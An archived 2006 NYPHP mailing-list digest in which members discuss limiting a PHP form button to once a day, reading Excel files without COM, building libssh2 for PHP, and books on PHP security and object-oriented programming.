From karl_niarb at yahoo.com Mon Jul 3 06:47:00 2006 From: karl_niarb at yahoo.com (Karl Brian Dano) Date: Mon, 3 Jul 2006 03:47:00 -0700 (PDT) Subject: [nycphp-talk] Help with Buttons and how I can only make pressable once a day Message-ID: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com> Hi everyone, Again, I need some help with PHP/MySQL. How do I assign a MySQL query to a button and how can make the button only pressable (or be available for "pressing") once a day? Help will be greatly appreciated. --------------------------------- Want to be your own boss? Learn how on Yahoo! Small Business. -------------- next part -------------- An HTML attachment was scrubbed... URL: From yournway at gmail.com Mon Jul 3 07:09:17 2006 From: yournway at gmail.com (Alberto dos Santos) Date: Mon, 3 Jul 2006 12:09:17 +0100 Subject: [nycphp-talk] Help with Buttons and how I can only make pressable once a day In-Reply-To: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com> References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com> Message-ID: Hi Karl, I think it woul be helpfull if you would describe in a little more detail what exacly is you need. Like, pressable once a day, by whom, everybody, an administrator, every single user? Is it for a major critical task, like a daily backup? All the info is precious. HTH On 03/07/06, Karl Brian Dano wrote: > > Hi everyone, > > Again, I need some help with PHP/MySQL. How do I assign a MySQL query to a > button and how can make the button only pressable (or be available for > "pressing") once a day? > > Help will be greatly appreciated. > > ------------------------------ > Want to be your own boss? Learn how on Yahoo! Small Business. > > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > > > -- Alberto dos Santos Consultor em TI IT Consultant http://www.yournway.com A internet ? sua maneira. The Internet your own way. -------------- next part -------------- An HTML attachment was scrubbed... URL: From lists at genoverly.net Mon Jul 3 07:37:42 2006 From: lists at genoverly.net (michael) Date: Mon, 3 Jul 2006 07:37:42 -0400 Subject: [nycphp-talk] Help with Buttons and how I can only make pressable once a day In-Reply-To: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com> References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com> Message-ID: <20060703073742.49f7c10e@wit.genoverly.home> On Mon, 3 Jul 2006 03:47:00 -0700 (PDT) Karl Brian Dano wrote: > Hi everyone, > > Again, I need some help with PHP/MySQL. How do I assign a MySQL query > to a button and how can make the button only pressable (or be > available for "pressing") once a day? > > Help will be greatly appreciated. A button click in PHP (in the browser) does not send a signal like a button click event in a gui desktop application (vb, WXWindows, qt, gtk, tkinter, etc). First you need an HTML form element and an input element. Each will have characteristics that tell the web server what to do. Here's some samples, spaced for easy reading:
In the above case, your code needs to check the value of the button: if ( isset($_POST["btn_runquery"]) ) { // do stuff } You can read up on HTML forms and other elements here: http://www.w3.org/TR/html4/interact/forms.html As for making it 'pressable' on a schedule.. you could 1) always have the button available, but have the 'do stuff' check to see if it is OK to run before it executes. 2) have a 'button creating routine' that checks to see if it is OK to run and either enable or disable the button whenever the form is visited. One idea that would work for either option.. have touching a file on the file system the last thing in the 'do stuff' event. Then, the next time the form is visited, your 'do stuff' or 'button creating routine' can check the date on that touched file. If it already has today's date, then do nothing (or disable button). If it has yesterday's date; do the event, and touch the file again (which gives it a new date). It doesn't have to be a file, it could be a record in the database.. or anything persistent. This is a really basic programming situation. You might be a good candidate for a NYPHP Training class (http://www.nyphp.com/training/). -- Michael From kenrbnsn at rbnsn.com Mon Jul 3 11:51:37 2006 From: kenrbnsn at rbnsn.com (Ken Robinson) Date: Mon, 03 Jul 2006 08:51:37 -0700 Subject: [nycphp-talk] Help with Buttons and how I can only make pressable once a day In-Reply-To: <20060703073742.49f7c10e@wit.genoverly.home> References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com> <20060703073742.49f7c10e@wit.genoverly.home> Message-ID: <7.0.1.0.2.20060703084620.094c2b20@rbnsn.com> At 04:37 AM 7/3/2006, michael wrote: >On Mon, 3 Jul 2006 03:47:00 -0700 (PDT) >Karl Brian Dano wrote: > > > Hi everyone, > > > > Again, I need some help with PHP/MySQL. How do I assign a MySQL query > > to a button and how can make the button only pressable (or be > > available for "pressing") once a day? > > > > Help will be greatly appreciated. > >A button click in PHP (in the browser) does not send a signal like a >button click event in a gui desktop application (vb, WXWindows, qt, gtk, >tkinter, etc). First you need an HTML form element and an input >element. Each will have characteristics that tell the web server what >to do. Here's some samples, spaced for easy reading: You could also use Javascript to set up the button and use AJAX to start a PHP script that interacts with MySQL. You could use logic in your main PHP script to decide whether or not to display the button. Ken From tedd at sperling.com Mon Jul 3 13:12:54 2006 From: tedd at sperling.com (tedd) Date: Mon, 3 Jul 2006 13:12:54 -0400 Subject: [nycphp-talk] Help with Buttons and how I can only make pressable once a day In-Reply-To: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com> References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com> Message-ID: At 3:47 AM -0700 7/3/06, Karl Brian Dano wrote: >Hi everyone, > >Again, I need some help with PHP/MySQL. How do I assign a MySQL query to a button and how can make the button only pressable (or be available for "pressing") once a day? > >Help will be greatly appreciated. Karl: A bit more information is needed. However, if something like, this -- http://xn--ovg.com/form/name_baby.php -- will solve your problem, I'll tell you how I did it. tedd -- ------------------------------------------------------------------------------------ http://sperling.com http://ancientstones.com http://earthstones.com From 1j0lkq002 at sneakemail.com Mon Jul 3 14:29:36 2006 From: 1j0lkq002 at sneakemail.com (inforequest) Date: Mon, 03 Jul 2006 11:29:36 -0700 Subject: [nycphp-talk] Help with Buttons and how I can only make pressable once a day In-Reply-To: References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com> Message-ID: <10587-39287@sneakemail.com> tedd tedd-at-sperling.com |nyphp dev/internal group use| wrote: >At 3:47 AM -0700 7/3/06, Karl Brian Dano wrote: > > >>Hi everyone, >> >>Again, I need some help with PHP/MySQL. How do I assign a MySQL query to a button and how can make the button only pressable (or be available for "pressing") once a day? >> >>Help will be greatly appreciated. >> >> > >Karl: > >A bit more information is needed. > >However, if something like, this -- > >http://xn--ovg.com/form/name_baby.php > >-- will solve your problem, I'll tell you how I did it. > >tedd > > Of course if you try to prevent scammers from voting more than once a day, the simple cookie approach Tedd used for naming babies is not enough. Check out "sevin", my personal favorite (and now #3 on the list) :-) http://xn--ovg.com/form/name_baby.php -=john andrews http://www.seo-fun.com From tedd at sperling.com Mon Jul 3 15:00:23 2006 From: tedd at sperling.com (tedd) Date: Mon, 3 Jul 2006 15:00:23 -0400 Subject: [nycphp-talk] Help with Buttons and how I can only make pressable once a day In-Reply-To: <10587-39287@sneakemail.com> References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com> <10587-39287@sneakemail.com> Message-ID: At 11:29 AM -0700 7/3/06, inforequest wrote: >tedd tedd-at-sperling.com |nyphp dev/internal group use| wrote: > >>At 3:47 AM -0700 7/3/06, Karl Brian Dano wrote: >> >> >>>Hi everyone, >>> >>>Again, I need some help with PHP/MySQL. How do I assign a MySQL query to a button and how can make the button only pressable (or be available for "pressing") once a day? >>> >>>Help will be greatly appreciated. >>> >>> >> >>Karl: >> >>A bit more information is needed. >> >>However, if something like, this -- >> > >http://xn--ovg.com/form/name_baby.php >> >>-- will solve your problem, I'll tell you how I did it. >> >>tedd >> >> >Of course if you try to prevent scammers from voting more than once a >day, the simple cookie approach Tedd used for naming babies is not >enough. Check out "sevin", my personal favorite (and now #3 on the list) :-) > > >http://xn--ovg.com/form/name_baby.php > >-=john andrews Hey, what are you doing voting more than once? You trying to screw up the results? :-) If I was serious about securing a one vote per day thing, I would work out something a bit different. However, as I said "If something like this would solve your problem..." If he wants something more secure, money is always a good incentive. Ya gets what's pay fer. tedd -- ------------------------------------------------------------------------------------ http://sperling.com http://ancientstones.com http://earthstones.com From 1j0lkq002 at sneakemail.com Mon Jul 3 15:45:50 2006 From: 1j0lkq002 at sneakemail.com (inforequest) Date: Mon, 03 Jul 2006 12:45:50 -0700 Subject: [nycphp-talk] Help with Buttons and how I can only make pressable once a day In-Reply-To: References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com> <10587-39287@sneakemail.com> Message-ID: <4171-72324@sneakemail.com> tedd tedd-at-sperling.com |nyphp dev/internal group use| wrote: > >Hey, what are you doing voting more than once? You trying to screw up the results? :-) > >If I was serious about securing a one vote per day thing, I would work out something a bit different. However, as I said "If something like this would solve your problem..." > >If he wants something more secure, money is always a good incentive. Ya gets what's pay fer. > >tedd > > Hah. You'll have to go back about a month or so to see when Sevin was added to the list to truly appreciate the effort. ;-) Anyway, the point is just what several people pointed out when they asked for more info... the definition of "how can [I] make the button only pressable (or be available for "pressing") once a day?" For some of us, that is the script-kiddie problem that plagues PHP. It is easy to "adopt" a script but if you do, you adopt a set of assumptions (and coditions) along with it. Usually they are not obvious. That makes it "easy" because you don't need to think through those details, but it also makes it harder as you later discover those details are actually important. You may not be able to modify those adopted scripts as needed. And of course, if you never learn of the importance of the details, they may be out there awaiting exploitation. I have no problem with scripts like yours, tedd, but it would be really useful if they came with some details of the assumptions made and links to tutorials that cover all the bases. Your outbound link could frame the issue, with the destination providing what is needed to understand the approach you took with that script. Otherwise, as a list of "hot scripts" I could not recommend them to anyone for fear of perpetuating the PHP script-kiddie problem. Clearly they serve some other purpose for you. I thought Michael's reply was excellent because it addressed the question and provided outbound links when they are obviously needed here. but would it get read? I'm not sure, and especially when the reader could just adopt a script that looks like it works. It seems sooooooo easy to just go with the script, eh? -=john andrews http://www.seo-fun.com From tedd at sperling.com Mon Jul 3 19:20:04 2006 From: tedd at sperling.com (tedd) Date: Mon, 3 Jul 2006 19:20:04 -0400 Subject: [nycphp-talk] Help with Buttons and how I can only make pressable once a day In-Reply-To: <4171-72324@sneakemail.com> References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com> <10587-39287@sneakemail.com> <4171-72324@sneakemail.com> Message-ID: At 12:45 PM -0700 7/3/06, inforequest wrote: >For some of us, that is the script-kiddie problem that plagues PHP. It >is easy to "adopt" a script but if you do, you adopt a set of >assumptions (and coditions) along with it. Usually they are not obvious. >That makes it "easy" because you don't need to think through those >details, but it also makes it harder as you later discover those details >are actually important. You may not be able to modify those adopted >scripts as needed. And of course, if you never learn of the importance >of the details, they may be out there awaiting exploitation. > >I have no problem with scripts like yours, tedd, but it would be really >useful if they came with some details of the assumptions made and links >to tutorials that cover all the bases. Your outbound link could frame >the issue, with the destination providing what is needed to understand >the approach you took with that script. Otherwise, as a list of "hot >scripts" I could not recommend them to anyone for fear of perpetuating >the PHP script-kiddie problem. Clearly they serve some other purpose for >you. Your points are well taken. For example, when I first put up that script, I had someone do code injections and I learned the hard way what that was about -- there was no harm done. I'm sure the person was just showing me the dangers. I think I learned -- if nothing else, I bought Chris Shiflett's PHP Security book and just about memorized it. As for me laying out what it is I'm doing on my site, that's more documentation that I'm prepared to do at the moment. That site is actually MY collection of my scripts where I try different things and learn first hand how they work, like what happened with injection thing. It's also my repository of snip-its I've developed so I can have starting foundations for future work. I do a lot of different things. For example, last week I was creating a CAPTCHA with sound and that was interesting. As soon as I finish testing, I'll publish it for others to review. Yesterday I just learned how to create pdf documents (that's mondo cool) and I found a client who wants me to generate some MySQL/PDF forms for him. And today, I was reading about generating Flash from php -- tomorrow, who knows? But the point is that while I might not be as advanced as the rest of you, the site in question is for my development and not really set up for selling script-kiddie scripts. >I thought Michael's reply was excellent because it addressed the >question and provided outbound links when they are obviously needed >here. but would it get read? I'm not sure, and especially when the >reader could just adopt a script that looks like it works. It seems >sooooooo easy to just go with the script, eh? > >-=john andrews Another point well taken. In my defense of ignorance, I'm literally learning more each day and this is one of the ways I learn. If the poster wanted my script, or how I did it, then I would explain as best I could (as would anyone). If the poster and I are ignorant of problems beyond us, then I guess we will both will learn the hard way -- but who hasn't? However, if your point includes that I should also refrain from commenting about things that may be beyond me, then I'm not sure as to how to respond. I believe that if you don't put your intellect at risk by demonstrating its limitations, then you don't learn. As with all of us on the intellectual highway, we're always following someone. Have a good 4th. tedd -- ------------------------------------------------------------------------------------ http://sperling.com http://ancientstones.com http://earthstones.com From Consult at CovenantEDesign.com Mon Jul 3 20:36:27 2006 From: Consult at CovenantEDesign.com (CED) Date: Mon, 3 Jul 2006 20:36:27 -0400 Subject: [nycphp-talk] Help with Buttons and how I can only make pressable once a day References: <20060703104700.50031.qmail@web30512.mail.mud.yahoo.com> <10587-39287@sneakemail.com> <4171-72324@sneakemail.com> Message-ID: <010a01c69f01$e324a0d0$0619a8c0@ced> Really the best thing for what it is you have described is a Flash front end with an AMFPHP call. IMHO. Edward JS Prevost II Me at EdwardPrevost.info www.EdwardPrevost.info ----- Original Message ----- From: "tedd" To: "NYPHP Talk" Sent: Monday, July 03, 2006 7:20 PM Subject: Re: [nycphp-talk] Help with Buttons and how I can only make pressable once a day At 12:45 PM -0700 7/3/06, inforequest wrote: >For some of us, that is the script-kiddie problem that plagues PHP. It >is easy to "adopt" a script but if you do, you adopt a set of >assumptions (and coditions) along with it. Usually they are not obvious. >That makes it "easy" because you don't need to think through those >details, but it also makes it harder as you later discover those details >are actually important. You may not be able to modify those adopted >scripts as needed. And of course, if you never learn of the importance >of the details, they may be out there awaiting exploitation. > >I have no problem with scripts like yours, tedd, but it would be really >useful if they came with some details of the assumptions made and links >to tutorials that cover all the bases. Your outbound link could frame >the issue, with the destination providing what is needed to understand >the approach you took with that script. Otherwise, as a list of "hot >scripts" I could not recommend them to anyone for fear of perpetuating >the PHP script-kiddie problem. Clearly they serve some other purpose for >you. Your points are well taken. For example, when I first put up that script, I had someone do code injections and I learned the hard way what that was about -- there was no harm done. I'm sure the person was just showing me the dangers. I think I learned -- if nothing else, I bought Chris Shiflett's PHP Security book and just about memorized it. As for me laying out what it is I'm doing on my site, that's more documentation that I'm prepared to do at the moment. That site is actually MY collection of my scripts where I try different things and learn first hand how they work, like what happened with injection thing. It's also my repository of snip-its I've developed so I can have starting foundations for future work. I do a lot of different things. For example, last week I was creating a CAPTCHA with sound and that was interesting. As soon as I finish testing, I'll publish it for others to review. Yesterday I just learned how to create pdf documents (that's mondo cool) and I found a client who wants me to generate some MySQL/PDF forms for him. And today, I was reading about generating Flash from php -- tomorrow, who knows? But the point is that while I might not be as advanced as the rest of you, the site in question is for my development and not really set up for selling script-kiddie scripts. >I thought Michael's reply was excellent because it addressed the >question and provided outbound links when they are obviously needed >here. but would it get read? I'm not sure, and especially when the >reader could just adopt a script that looks like it works. It seems >sooooooo easy to just go with the script, eh? > >-=john andrews Another point well taken. In my defense of ignorance, I'm literally learning more each day and this is one of the ways I learn. If the poster wanted my script, or how I did it, then I would explain as best I could (as would anyone). If the poster and I are ignorant of problems beyond us, then I guess we will both will learn the hard way -- but who hasn't? However, if your point includes that I should also refrain from commenting about things that may be beyond me, then I'm not sure as to how to respond. I believe that if you don't put your intellect at risk by demonstrating its limitations, then you don't learn. As with all of us on the intellectual highway, we're always following someone. Have a good 4th. tedd -- ---------------------------------------------------------------------------- -------- http://sperling.com http://ancientstones.com http://earthstones.com _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From max at neuropunks.org Wed Jul 5 11:54:49 2006 From: max at neuropunks.org (Max Gribov) Date: Wed, 05 Jul 2006 11:54:49 -0400 Subject: [nycphp-talk] PHP COM class Message-ID: <44ABE0C9.5060000@neuropunks.org> Hello all, For some reason I cannot use the COM class in PHP. I just installed fresh 5.1.4 version, and when I do: $excel_app = new COM("Excel.application") or die ("did not connect to COM"); I simply get an error saying Class COM not found. According to php.net that class is bundled in with the distro, and that is the correct syntax to access it, what gives?.. Anyone had any problem with this? Thanks! max From max at neuropunks.org Wed Jul 5 11:58:13 2006 From: max at neuropunks.org (Max Gribov) Date: Wed, 05 Jul 2006 11:58:13 -0400 Subject: [nycphp-talk] PHP COM class In-Reply-To: <44ABE0C9.5060000@neuropunks.org> References: <44ABE0C9.5060000@neuropunks.org> Message-ID: <44ABE195.6060304@neuropunks.org> Well, reading is actually cooler than it sounds. Apparently, that class is only for Windows platform, according to php.net manual Does anyone know about similar things for *nix? Namely, I am trying to read Excel files (I can write them very well thanks to the PEAR class), and I found an Excel reader, but for some reason I get syntax errors in its code include file, etc. http://sourceforge.net/projects/phpexcelreader is the one I was trying to use, but it doesnt work. Other things on google involve paying for it, hence my interest in COM class. Max Gribov wrote: > Hello all, > For some reason I cannot use the COM class in PHP. > I just installed fresh 5.1.4 version, and when I do: > > $excel_app = new COM("Excel.application") or die ("did not connect to COM"); > > I simply get an error saying Class COM not found. > > According to php.net that class is bundled in with the distro, and that > is the correct syntax to access it, what gives?.. > > Anyone had any problem with this? > > Thanks! > > max > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php > From jbaer at VillageVoice.com Wed Jul 5 13:34:01 2006 From: jbaer at VillageVoice.com (Baer, Jon) Date: Wed, 5 Jul 2006 13:34:01 -0400 Subject: [nycphp-talk] libssh2 / pecl / ssh2stream wrapper Message-ID: <4D2FAD9B00577645932AD7ED5FECA24502BCF580@mail> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Does anyone know where to actually find a version of libssh2 > 0.4? Im trying to compile the PECL version (the pear install will not work either) on freebsd and keep getting the following when I phpize it ... libssh2 version >= 0.4 not found I even commented it out in the configure script to override it and got a successful build but ssh2_connect() kicks out with unknown symbols. Has anyone successfully use the SSH2 stream wrapper in PHP5 yet? Thanks. - - Jon -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (MingW32) iD8DBQFEq/gI99e5DI8C/rsRAn13AKDWMK9QOvFbC2ACGvPfxkBbzP85LQCg5MGM +Vc3q1aec1BKqkHRw86dfnM= =T2AH -----END PGP SIGNATURE----- -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: PGPexch.htm.asc Type: application/pgp-signature Size: 194 bytes Desc: not available URL: From arzala at gmail.com Thu Jul 6 00:05:34 2006 From: arzala at gmail.com (Anirudh Zala) Date: Thu, 06 Jul 2006 09:35:34 +0530 Subject: [nycphp-talk] PHP COM class In-Reply-To: <44ABE195.6060304@neuropunks.org> References: <44ABE0C9.5060000@neuropunks.org> <44ABE195.6060304@neuropunks.org> Message-ID: Please read my reply of thread "[nycphp-talk] PHP and MS Excel". It will help you in finding solution of your need. http://lists.nyphp.org/pipermail/talk/2006-June/018824.html Thanks Zala On Wed, 05 Jul 2006 21:28:13 +0530, Max Gribov wrote: > Well, reading is actually cooler than it sounds. > Apparently, that class is only for Windows platform, according to > php.net manual > > Does anyone know about similar things for *nix? > > Namely, I am trying to read Excel files (I can write them very well > thanks to the PEAR class), and I found an Excel reader, but for some > reason I get syntax errors in its code include file, etc. > http://sourceforge.net/projects/phpexcelreader is the one I was trying > to use, but it doesnt work. Other things on google involve paying for > it, hence my interest in COM class. > > > > Max Gribov wrote: >> Hello all, >> For some reason I cannot use the COM class in PHP. >> I just installed fresh 5.1.4 version, and when I do: >> >> $excel_app = new COM("Excel.application") or die ("did not connect to >> COM"); >> >> I simply get an error saying Class COM not found. >> >> According to php.net that class is bundled in with the distro, and that >> is the correct syntax to access it, what gives?.. >> >> Anyone had any problem with this? >> >> Thanks! >> >> max >> _______________________________________________ >> New York PHP Community Talk Mailing List >> http://lists.nyphp.org/mailman/listinfo/talk >> New York PHP Conference and Expo 2006 >> http://www.nyphpcon.com >> Show Your Participation in New York PHP >> http://www.nyphp.org/show_participation.php >> > > _______________________________________________ > New York PHP Community Talk Mailing List > http://lists.nyphp.org/mailman/listinfo/talk > New York PHP Conference and Expo 2006 > http://www.nyphpcon.com > Show Your Participation in New York PHP > http://www.nyphp.org/show_participation.php -- ----------------------------------------------- Anirudh Zala (Project Manager) ASPL, http://www.aspl.in Ph: +91 281 245 1894 arzala at gmail.com ----------------------------------------------- From agfische at email.smith.edu Thu Jul 6 11:07:55 2006 From: agfische at email.smith.edu (Aaron Fischer) Date: Thu, 06 Jul 2006 11:07:55 -0400 Subject: [nycphp-talk] Book recommendations - security, object-oriented programming Message-ID: <44AD274B.4000905@email.smith.edu> Greetings, I'm working on a project that has me thinking about purchasing one or two books. The topics I'm interested in are: 1. Security. Discussion of practices for password storage and retrieval. Transmission of data in a secure manner, e.g. encrypted, https, certificates, etc. Also methods of cleaning/filtering/scrubbing data received from web forms. 2. Getting up and running with object-oriented programming in PHP. Detail: 1. The project I am working on will allow users to create accounts. I need to think about the best way to store their passwords and allow them to retrieve if lost, change if they so desire, etc. As the information is somewhat sensitive there is a possibility I will need to be passing it via https vs. http. Scrubbing and filtering the data to make sure nobody is intentionally or accidentally messing with my application. 2. To date I have been working primarily with procedural programming techniques. I am considering the benefits of object-oriented code for this project. Ideally the book would include a discussion of benefits of using object-oriented code. Thanks, -Aaron From SHalter at ThorntonTomasetti.com Thu Jul 6 11:12:18 2006 From: SHalter at ThorntonTomasetti.com (Halter, Shari) Date: Thu, 6 Jul 2006 11:12:18 -0400 Subject: [nycphp-talk] Book recommendations - security, object-oriented programming Message-ID: I like PHP 5 Power Programming for objects. Andi Gutmans, Stig Saether Bakken, Derick Rethans. Prentice Hall 2005. Shari L. Halter Web Programmer Thornton Tomasetti 51 Madison Avenue New York, NY 10010 T 917.661.7800 F 917.661.7801 D 917.661.7970 SHalter at ThorntonTomasetti.com -----Original Message----- From: Aaron Fischer [mailto:agfische at email.smith.edu] Sent: Thursday, July 06, 2006 11:08 AM To: NYPHP Talk Subject: [nycphp-talk] Book recommendations - security, object-oriented programming Greetings, I'm working on a project that has me thinking about purchasing one or two books. The topics I'm interested in are: 1. Security. Discussion of practices for password storage and retrieval. Transmission of data in a secure manner, e.g. encrypted, https, certificates, etc. Also methods of cleaning/filtering/scrubbing data received from web forms. 2. Getting up and running with object-oriented programming in PHP. Detail: 1. The project I am working on will allow users to create accounts. I need to think about the best way to store their passwords and allow them to retrieve if lost, change if they so desire, etc. As the information is somewhat sensitive there is a possibility I will need to be passing it via https vs. http. Scrubbing and filtering the data to make sure nobody is intentionally or accidentally messing with my application. 2. To date I have been working primarily with procedural programming techniques. I am considering the benefits of object-oriented code for this project. Ideally the book would include a discussion of benefits of using object-oriented code. Thanks, -Aaron _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> The information in this email and any attachments may contain confidential information that is intended solely for the attention and use of the named addressee(s). This message or any part thereof must not be disclosed, copied, distributed or retained by any person without authorization from the addressee. If you are not the intended addressee, please notify the sender immediately, and delete this message. <><><><><><><><><><><><><><><><><><><><><><><><><><><><><><> From jbaer at VillageVoice.com Thu Jul 6 11:15:34 2006 From: jbaer at VillageVoice.com (Baer, Jon) Date: Thu, 6 Jul 2006 11:15:34 -0400 Subject: [nycphp-talk] Book recommendations - security, object-oriented programming In-Reply-To: <44AD274B.4000905@email.smith.edu> Message-ID: <4D2FAD9B00577645932AD7ED5FECA24502BCF68A@mail> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 For 1 Id highly recommend Chris Shifflet's book Essential PHP Security ... http://phpsecurity.org/ There are a few free chapters there ... For your second question it would probably be worth while to check out a few open source PHP frameworks like CakePHP or Symfony + look over there techniques and hop on the mailing lists and post a few specific questions, a good example is the Security component in CakePHP, much of your "filtering" and "sanitizing" should be something you should not have to code up yourself. Also a good resource is http://www.owasp.org - - Jon - -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Aaron Fischer Sent: Thursday, July 06, 2006 11:08 AM To: NYPHP Talk Subject: [nycphp-talk] Book recommendations - security,object-oriented programming Greetings, I'm working on a project that has me thinking about purchasing one or two books. The topics I'm interested in are: 1. Security. Discussion of practices for password storage and retrieval. Transmission of data in a secure manner, e.g. encrypted, https, certificates, etc. Also methods of cleaning/filtering/scrubbing data received from web forms. 2. Getting up and running with object-oriented programming in PHP. Detail: 1. The project I am working on will allow users to create accounts. I need to think about the best way to store their passwords and allow them to retrieve if lost, change if they so desire, etc. As the information is somewhat sensitive there is a possibility I will need to be passing it via https vs. http. Scrubbing and filtering the data to make sure nobody is intentionally or accidentally messing with my application. 2. To date I have been working primarily with procedural programming techniques. I am considering the benefits of object-oriented code for this project. Ideally the book would include a discussion of benefits of using object-oriented code. Thanks, - -Aaron _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.3 (MingW32) iD8DBQFErSkW99e5DI8C/rsRAmpfAJ0b9h3k6wTWWqS9Qf+1r8Cl8lWPkgCgi/p5 qgtZzJ0z6/GSlsOs336uD7k= =eHuL -----END PGP SIGNATURE----- From lists at jack-scott.com Thu Jul 6 11:21:43 2006 From: lists at jack-scott.com (lists at jack-scott.com) Date: Thu, 06 Jul 2006 11:21:43 -0400 Subject: [nycphp-talk] Book recommendations - security, object-oriented programming In-Reply-To: <44AD274B.4000905@email.smith.edu> References: <44AD274B.4000905@email.smith.edu> Message-ID: <1152199303.9227.21.camel@localhost> On Thu, 2006-07-06 at 11:07 -0400, Aaron Fischer wrote: > Greetings, > > I'm working on a project that has me thinking about purchasing one or > two books. The topics I'm interested in are: > > 1. Security. Discussion of practices for password storage and > retrieval. Transmission of data in a secure manner, e.g. encrypted, > https, certificates, etc. Also methods of cleaning/filtering/scrubbing > data received from web forms. > > 2. Getting up and running with object-oriented programming in PHP. There are so many books out there, here's a couple I have read and enjoyed. For security, I enjoyed Essential PHP Security by Chris Shiflett (O'Reilly) as well as Php|architect's Guide to PHP Security by Ilia Alshanetsky (APress). And for PHP OOP, I liked PHP5 Objects, Patterns, and Practice my Matt Zandstra (APress) as well as Beginning PHP5 by Dan Squier (wrox press) Hope these help, Good luck From TBoyden at supercoups.com Thu Jul 6 11:22:52 2006 From: TBoyden at supercoups.com (Timothy R Boyden) Date: Thu, 6 Jul 2006 11:22:52 -0400 Subject: [nycphp-talk] Book recommendations - security, object-oriented programming In-Reply-To: <44AD274B.4000905@email.smith.edu> Message-ID: PHP in a Nutshell by O'Reilly publishing is an excellent reference guide I've been using. I've been reading up on the object-oriented approach myself and Paul Hudson (the author) does a really good job describing it and using it in example programs. Paul also covers security in the book (which I haven't got to yet) but it's a short chapter and might not go into the depth you need. The book references Essential PHP Security (also by O'Reilly) as a resource to go into more depth on that subject. Amazon Links: http://www.amazon.com/gp/product/0596100671/sr=8-1/qid=1152199302/ref=pd _bbs_1/102-4237996-3151341?ie=UTF8 http://www.amazon.com/gp/product/059600656X/qid=1152199336/sr=2-1/ref=pd _bbs_b_2_1/102-4237996-3151341?s=books&v=glance&n=283155 Regards, Tim Boyden --------------------------- Timothy Boyden Network Administrator tboyden at supercoups.com SuperCoups(r) | 350 Revolutionary Drive | E. Taunton, MA 02718 508-977-2034 | www.supercoups.com --------------------------- -----Original Message----- From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Aaron Fischer Sent: Thursday, July 06, 2006 11:08 AM To: NYPHP Talk Subject: [nycphp-talk] Book recommendations - security,object-oriented programming Greetings, I'm working on a project that has me thinking about purchasing one or two books. The topics I'm interested in are: 1. Security. Discussion of practices for password storage and retrieval. Transmission of data in a secure manner, e.g. encrypted, https, certificates, etc. Also methods of cleaning/filtering/scrubbing data received from web forms. 2. Getting up and running with object-oriented programming in PHP. Detail: 1. The project I am working on will allow users to create accounts. I need to think about the best way to store their passwords and allow them to retrieve if lost, change if they so desire, etc. As the information is somewhat sensitive there is a possibility I will need to be passing it via https vs. http. Scrubbing and filtering the data to make sure nobody is intentionally or accidentally messing with my application. 2. To date I have been working primarily with procedural programming techniques. I am considering the benefits of object-oriented code for this project. Ideally the book would include a discussion of benefits of using object-oriented code. Thanks, -Aaron _______________________________________________ New York PHP Community Talk Mailing List http://lists.nyphp.org/mailman/listinfo/talk New York PHP Conference and Expo 2006 http://www.nyphpcon.com Show Your Participation in New York PHP http://www.nyphp.org/show_participation.php From jeff.knight at gmail.com Thu Jul 6 11:23:38 2006 From: jeff.knight at gmail.com (Jeff Knight) Date: Thu, 6 Jul 2006 10:23:38 -0500 Subject: [nycphp-talk] Book recommendations - security, object-oriented programming In-Reply-To: <44AD274B.4000905@email.smith.edu> References: <44AD274B.4000905@email.smith.edu> Message-ID: <2ca9ba910607060823o51d2d1f7i29d4e7a2d514c084@mail.gmail.com> and Pro PHP Security http://www.apress.com/book/bookDisplay.html?bID=437 From max at neuropunks.org Thu Jul 6 11:18:50 2006 From: max at neuropunks.org (Max Gribov) Date: Thu, 06 Jul 2006 11:18:50 -0400 Subject: [nycphp-talk] Book recommendations - security, object-oriented programming In-Reply-To: <44AD274B.4000905@email.smith.edu> References: <44AD274B.4000905@email.smith.edu> Message-ID: <44AD29DA.6060408@neuropunks.org> "The object oriented thought process" by Matt Weisfeld is a good guide to OOP in general. Most examples are in Java, but the theory applies anywhere http://search.barnesandnoble.com/booksearch/isbninquiry.asp?EAN=9780672326110&x=3111607 Aaron Fischer wrote: > Greetings, > > I'm working on a project that has me thinking about purchasing one or > two books. The topics I'm interested in are: > > 1. Security. Discussion of practices for password storage and > retrieval. Transmission of data in a secure manner, e.g. 